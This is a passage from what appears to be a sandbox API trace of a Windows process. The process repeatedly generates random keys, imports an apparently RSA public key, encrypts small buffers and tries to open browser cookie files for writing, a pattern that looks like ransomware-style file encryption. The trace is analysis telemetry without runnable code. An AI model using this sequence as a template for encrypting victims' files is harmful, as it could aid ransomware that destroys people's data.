dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.391] CryptEncrypt (in: hKey=0x360a780, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x48c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x48c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.391] GetLastError () returned 0x0 [0175.391] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.391] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.393] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a880) returned 1 [0175.393] CryptGetKeyParam (in: hKey=0x360a880, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.393] CryptEncrypt (in: hKey=0x360a880, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x48d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x48d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.393] GetLastError () returned 0x0 [0175.393] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.393] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\LVARU12Y.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\lvaru12y.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.393] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0175.394] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.395] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.395] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.395] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.395] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0175.396] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.396] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.396] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.396] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.396] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.398] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3608d40) returned 1 [0175.398] CryptGetKeyParam (in: hKey=0x3608d40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.398] CryptEncrypt (in: hKey=0x3608d40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x48e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x48e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.399] GetLastError () returned 0x0 [0175.399] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.399] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.400] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36094c0) returned 1 [0175.400] CryptGetKeyParam (in: hKey=0x36094c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.400] CryptEncrypt (in: hKey=0x36094c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x48f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x48f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.401] GetLastError () returned 0x0 [0175.401] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.401] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\LY1NFEKN.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ly1nfekn.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.401] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.402] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.403] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.403] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.403] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.403] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.404] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.404] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.404] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.404] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.405] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0175.407] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3608e00) returned 1 [0175.407] CryptGetKeyParam (in: hKey=0x3608e00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.407] CryptEncrypt (in: hKey=0x3608e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4900000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4900000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.407] GetLastError () returned 0x0 [0175.407] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.407] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.409] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3608d80) returned 1 [0175.409] CryptGetKeyParam (in: hKey=0x3608d80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.409] CryptEncrypt (in: hKey=0x3608d80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4910000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4910000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.409] GetLastError () returned 0x0 [0175.409] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.409] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\LY3FDU65.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ly3fdu65.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.409] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0175.410] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.411] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.411] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.411] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.411] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.412] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.412] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.412] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.412] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.412] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.414] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609180) returned 1 [0175.414] CryptGetKeyParam (in: hKey=0x3609180, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.414] CryptEncrypt (in: hKey=0x3609180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4920000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4920000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.414] GetLastError () returned 0x0 [0175.414] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.414] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0175.416] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609200) returned 1 [0175.416] CryptGetKeyParam (in: hKey=0x3609200, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.416] CryptEncrypt (in: hKey=0x3609200, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4930000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4930000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.417] GetLastError () returned 0x0 [0175.417] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.417] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\M19117WZ.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\m19117wz.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.417] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.418] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.419] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.419] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.419] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.419] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.420] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.420] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.420] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.420] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.420] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.422] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609140) returned 1 [0175.422] CryptGetKeyParam (in: hKey=0x3609140, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.422] CryptEncrypt (in: hKey=0x3609140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4940000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4940000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.423] GetLastError () returned 0x0 [0175.423] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.423] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.425] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3608f00) returned 1 [0175.425] CryptGetKeyParam (in: hKey=0x3608f00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.425] CryptEncrypt (in: hKey=0x3608f00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4950000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4950000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.425] GetLastError () returned 0x0 [0175.425] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.425] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MA5WDFBR.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\ma5wdfbr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.425] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.426] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.427] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.427] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.427] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.427] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.428] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.429] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.429] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.429] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.429] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.431] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3608f80) returned 1 [0175.431] CryptGetKeyParam (in: hKey=0x3608f80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.431] CryptEncrypt (in: hKey=0x3608f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4960000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4960000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.431] GetLastError () returned 0x0 [0175.431] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.431] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.433] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36093c0) returned 1 [0175.433] CryptGetKeyParam (in: hKey=0x36093c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.433] CryptEncrypt (in: hKey=0x36093c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4970000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4970000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.433] GetLastError () returned 0x0 [0175.433] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.433] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MBJX4MYA.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mbjx4mya.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.433] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.435] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.435] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.435] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.435] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.435] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.436] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.437] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.437] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.437] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.437] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.439] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609240) returned 1 [0175.439] CryptGetKeyParam (in: hKey=0x3609240, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.439] CryptEncrypt (in: hKey=0x3609240, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4980000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4980000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.439] GetLastError () returned 0x0 [0175.439] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.439] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.441] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36091c0) returned 1 [0175.441] CryptGetKeyParam (in: hKey=0x36091c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.441] CryptEncrypt (in: hKey=0x36091c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4990000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4990000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.441] GetLastError () returned 0x0 [0175.441] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.441] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\MCAKE788.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\mcake788.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.441] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.442] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.443] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.443] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.443] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.443] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.444] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.444] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.444] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.444] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.445] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0175.446] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609280) returned 1 [0175.446] CryptGetKeyParam (in: hKey=0x3609280, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.446] CryptEncrypt (in: hKey=0x3609280, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x49a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x49a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.447] GetLastError () returned 0x0 [0175.447] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.447] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.448] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609440) returned 1 [0175.448] CryptGetKeyParam (in: hKey=0x3609440, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, 